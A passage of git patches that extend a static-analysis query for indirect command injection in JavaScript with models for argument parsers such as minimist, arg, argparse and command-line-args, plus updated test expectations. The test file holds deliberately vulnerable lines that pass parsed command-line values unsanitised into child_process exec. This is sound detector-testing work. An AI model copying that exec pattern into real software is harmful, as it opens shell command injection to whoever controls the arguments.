`node $ ... ption"` | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line-parameter-command-injection.js:27:14:27:57 | `node $ ... ption"` | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line argument | | command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line argument | -| command-line-parameter-command-injection.js:31:9:31:45 | "cmd.sh ... )().foo | command-line-parameter-command-injection.js:31:21:31:41 | require ... ist")() | command-line-parameter-command-injection.js:31:9:31:45 | "cmd.sh ... )().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:31:21:31:41 | require ... ist")() | command-line argument | | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line argument | | command-line-parameter-command-injection.js:33:9:33:48 | "cmd.sh ... rgv.foo | command-line-parameter-command-injection.js:33:21:33:44 | require ... ").argv | command-line-parameter-command-injection.js:33:9:33:48 | "cmd.sh ... rgv.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:33:21:33:44 | require ... ").argv | command-line argument | | command-line-parameter-command-injection.js:41:10:41:25 | "cmd.sh " + args | command-line-parameter-command-injection.js:36:13:39:7 | require ... \\t\\t.argv | command-line-parameter-command-injection.js:41:10:41:25 | "cmd.sh " + args | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:36:13:39:7 | require ... \\t\\t.argv | command-line argument | @@ -248,3 +296,7 @@ edges | command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line argument | | command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line argument | | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line argument | +| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line argument | +| command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line argument | +| command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line argument | +| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index b5589a449f3..c78fe9b812b 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -28,7 +28,7 @@ var cp = require("child_process"); }); cp.exec("cmd.sh " + require("get-them-args")().foo); // NOT OK -cp.exec("cmd.sh " + require("minimist")().foo); // NOT OK +cp.exec("cmd.sh " + require("minimist")().foo); // OK - no args provided. cp.exec("cmd.sh " + require("yargs").argv.foo); // NOT OK cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK @@ -72,3 +72,19 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK cp.exec("cmd.sh " + taint4); // NOT OK }); +(function () { + const args = process.argv.slice(2); + + var minimist = require("minimist"); + cp.exec("cmd.sh " + minimist(args).foo); // NOT OK + + var subarg = require('subarg'); + cp.exec("cmd.sh " + subarg(process.argv.slice(2)).foo); // NOT OK + + var yargsParser = require('yargs-parser'); + cp.exec("cmd.sh " + yargsParser(process.argv.slice(2)).foo); // NOT OK + + import args from 'args' + const flags = args.parse(process.argv); + cp.exec("cmd.sh " + flags.foo); // NOT OK +}) From 45067ee651b39cfae04086641d69a52f5fbd4e50 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 15:35:56 +0100 Subject: [PATCH 0084/1241] add command parsing model for "arg" --- ...IndirectCommandInjectionCustomizations.qll | 3 + .../CWE-078/IndirectCommandInjection.expected | 58 ++++++++++++------- ...ommand-line-parameter-command-injection.js | 9 ++- 3 files changed, 45 insertions(+), 25 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 8a9b28d2601..6274eb7b87e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -49,6 +49,9 @@ module IndirectCommandInjection { or // `require('optimist').argv` => `{ _: [], a: ... b: ... }` this = DataFlow::moduleMember("optimist", "argv") + or + // `require("arg")({...spec})` => `{_: [], a: ..., b: ...}` + this = DataFlow::moduleImport("arg").getACall() } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index 21374f8b871..0db49165722 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -115,15 +115,15 @@ nodes | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | | command-line-parameter-command-injection.js:72:22:72:27 | taint4 | -| command-line-parameter-command-injection.js:76:8:76:35 | args | +| command-line-parameter-command-injection.js:76:8:76:35 | argv | | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | | command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | -| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | -| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | -| command-line-parameter-command-injection.js:79:22:79:35 | minimist(args) | -| command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | -| command-line-parameter-command-injection.js:79:31:79:34 | args | +| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | +| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | +| command-line-parameter-command-injection.js:79:22:79:35 | minimist(argv) | +| command-line-parameter-command-injection.js:79:22:79:39 | minimist(argv).foo | +| command-line-parameter-command-injection.js:79:31:79:34 | argv | | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | | command-line-parameter-command-injection.js:82:22:82:50 | subarg( ... ice(2)) | @@ -138,14 +138,21 @@ nodes | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | | command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | -| command-line-parameter-command-injection.js:88:8:88:39 | flags | -| command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | -| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | -| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | +| command-line-parameter-command-injection.js:88:6:88:37 | flags | +| command-line-parameter-command-injection.js:88:14:88:37 | args.pa ... s.argv) | +| command-line-parameter-command-injection.js:88:25:88:36 | process.argv | +| command-line-parameter-command-injection.js:88:25:88:36 | process.argv | | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | | command-line-parameter-command-injection.js:89:22:89:26 | flags | | command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | +| command-line-parameter-command-injection.js:91:6:91:38 | flags | +| command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | +| command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | +| command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:92:22:92:26 | flags | +| command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -248,14 +255,14 @@ edges | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line-parameter-command-injection.js:71:6:71:16 | [...taint4] | | command-line-parameter-command-injection.js:72:22:72:27 | taint4 | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | | command-line-parameter-command-injection.js:72:22:72:27 | taint4 | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | -| command-line-parameter-command-injection.js:76:8:76:35 | args | command-line-parameter-command-injection.js:79:31:79:34 | args | +| command-line-parameter-command-injection.js:76:8:76:35 | argv | command-line-parameter-command-injection.js:79:31:79:34 | argv | | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | -| command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | command-line-parameter-command-injection.js:76:8:76:35 | args | -| command-line-parameter-command-injection.js:79:22:79:35 | minimist(args) | command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | -| command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | -| command-line-parameter-command-injection.js:79:22:79:39 | minimist(args).foo | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | -| command-line-parameter-command-injection.js:79:31:79:34 | args | command-line-parameter-command-injection.js:79:22:79:35 | minimist(args) | +| command-line-parameter-command-injection.js:76:15:76:35 | process ... lice(2) | command-line-parameter-command-injection.js:76:8:76:35 | argv | +| command-line-parameter-command-injection.js:79:22:79:35 | minimist(argv) | command-line-parameter-command-injection.js:79:22:79:39 | minimist(argv).foo | +| command-line-parameter-command-injection.js:79:22:79:39 | minimist(argv).foo | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | +| command-line-parameter-command-injection.js:79:22:79:39 | minimist(argv).foo | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | +| command-line-parameter-command-injection.js:79:31:79:34 | argv | command-line-parameter-command-injection.js:79:22:79:35 | minimist(argv) | | command-line-parameter-command-injection.js:82:22:82:50 | subarg( ... ice(2)) | command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | | command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | | command-line-parameter-command-injection.js:82:22:82:54 | subarg( ... 2)).foo | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | @@ -268,13 +275,19 @@ edges | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | | command-line-parameter-command-injection.js:85:34:85:54 | process ... lice(2) | command-line-parameter-command-injection.js:85:22:85:55 | yargsPa ... ice(2)) | -| command-line-parameter-command-injection.js:88:8:88:39 | flags | command-line-parameter-command-injection.js:89:22:89:26 | flags | -| command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | command-line-parameter-command-injection.js:88:8:88:39 | flags | -| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | -| command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line-parameter-command-injection.js:88:16:88:39 | args.pa ... s.argv) | +| command-line-parameter-command-injection.js:88:6:88:37 | flags | command-line-parameter-command-injection.js:89:22:89:26 | flags | +| command-line-parameter-command-injection.js:88:14:88:37 | args.pa ... s.argv) | command-line-parameter-command-injection.js:88:6:88:37 | flags | +| command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:88:14:88:37 | args.pa ... s.argv) | +| command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:88:14:88:37 | args.pa ... s.argv) | | command-line-parameter-command-injection.js:89:22:89:26 | flags | command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | | command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | | command-line-parameter-command-injection.js:89:22:89:30 | flags.foo | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:91:6:91:38 | flags | command-line-parameter-command-injection.js:92:22:92:26 | flags | +| command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:91:6:91:38 | flags | +| command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:91:6:91:38 | flags | +| command-line-parameter-command-injection.js:92:22:92:26 | flags | command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | +| command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -296,7 +309,8 @@ edges | command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line argument | | command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line argument | | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line argument | -| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gs).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line argument | +| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line argument | | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line argument | | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line argument | -| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:27:88:38 | process.argv | command-line argument | +| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line argument | +| command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index c78fe9b812b..a676aff7844 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -73,10 +73,10 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK }); (function () { - const args = process.argv.slice(2); + const argv = process.argv.slice(2); var minimist = require("minimist"); - cp.exec("cmd.sh " + minimist(args).foo); // NOT OK + cp.exec("cmd.sh " + minimist(argv).foo); // NOT OK var subarg = require('subarg'); cp.exec("cmd.sh " + subarg(process.argv.slice(2)).foo); // NOT OK @@ -85,6 +85,9 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK cp.exec("cmd.sh " + yargsParser(process.argv.slice(2)).foo); // NOT OK import args from 'args' - const flags = args.parse(process.argv); + var flags = args.parse(process.argv); + cp.exec("cmd.sh " + flags.foo); // NOT OK + + var flags = require('arg')({...spec}); cp.exec("cmd.sh " + flags.foo); // NOT OK }) From f33cd8bc8e1e00bb6702e547a4905ee3f7f9a7c3 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 15:38:34 +0100 Subject: [PATCH 0085/1241] add command parsing model for `argparse` --- .../IndirectCommandInjectionCustomizations.qll | 8 ++++++++ .../Security/CWE-078/IndirectCommandInjection.expected | 10 ++++++++++ .../command-line-parameter-command-injection.js | 10 ++++++++++ 3 files changed, 28 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 6274eb7b87e..cad2dc8ed89 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -52,6 +52,14 @@ module IndirectCommandInjection { or // `require("arg")({...spec})` => `{_: [], a: ..., b: ...}` this = DataFlow::moduleImport("arg").getACall() + or + // https://www.npmjs.com/package/argparse + this = + API::moduleImport("argparse") + .getMember("ArgumentParser") + .getInstance() + .getMember("parse_args") + .getACall() } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index 0db49165722..bb7905a6fb0 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -153,6 +153,11 @@ nodes | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | | command-line-parameter-command-injection.js:92:22:92:26 | flags | | command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | +| command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | +| command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | +| command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | +| command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | +| command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -288,6 +293,10 @@ edges | command-line-parameter-command-injection.js:92:22:92:26 | flags | command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | | command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | | command-line-parameter-command-injection.js:92:22:92:30 | flags.foo | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | +| command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | +| command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | +| command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | +| command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -314,3 +323,4 @@ edges | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line argument | | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line argument | | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line argument | +| command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index a676aff7844..e26beae940f 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -91,3 +91,13 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK var flags = require('arg')({...spec}); cp.exec("cmd.sh " + flags.foo); // NOT OK }) + +(function () { + const { ArgumentParser } = require('argparse'); + + const parser = new ArgumentParser({description: 'Argparse example'}); + + parser.add_argument('-f', '--foo', { help: 'foo bar' }); + + cp.exec("cmd.sh " + parser.parse_args().foo); // NOT OK +}) \ No newline at end of file From c5ac98d2e85492b6c17460f404c72f7c0bff1e51 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 15:53:34 +0100 Subject: [PATCH 0086/1241] add command parsing model for `command-line-args` --- .../IndirectCommandInjectionCustomizations.qll | 3 +++ .../CWE-078/IndirectCommandInjection.expected | 14 ++++++++++++++ .../command-line-parameter-command-injection.js | 8 +++++++- 3 files changed, 24 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index cad2dc8ed89..d71d584a9b7 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -60,6 +60,9 @@ module IndirectCommandInjection { .getInstance() .getMember("parse_args") .getACall() + or + // `require('command-line-args')({...spec})` => `{a: ..., b: ...}` + this = DataFlow::moduleImport("command-line-args").getACall() } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index bb7905a6fb0..fbc27ac6649 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -158,6 +158,13 @@ nodes | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | | command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | +| command-line-parameter-command-injection.js:107:8:107:51 | options | +| command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | +| command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | +| command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | +| command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | +| command-line-parameter-command-injection.js:108:22:108:28 | options | +| command-line-parameter-command-injection.js:108:22:108:32 | options.foo | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -297,6 +304,12 @@ edges | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | | command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | | command-line-parameter-command-injection.js:102:22:102:44 | parser. ... s().foo | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | +| command-line-parameter-command-injection.js:107:8:107:51 | options | command-line-parameter-command-injection.js:108:22:108:28 | options | +| command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:107:8:107:51 | options | +| 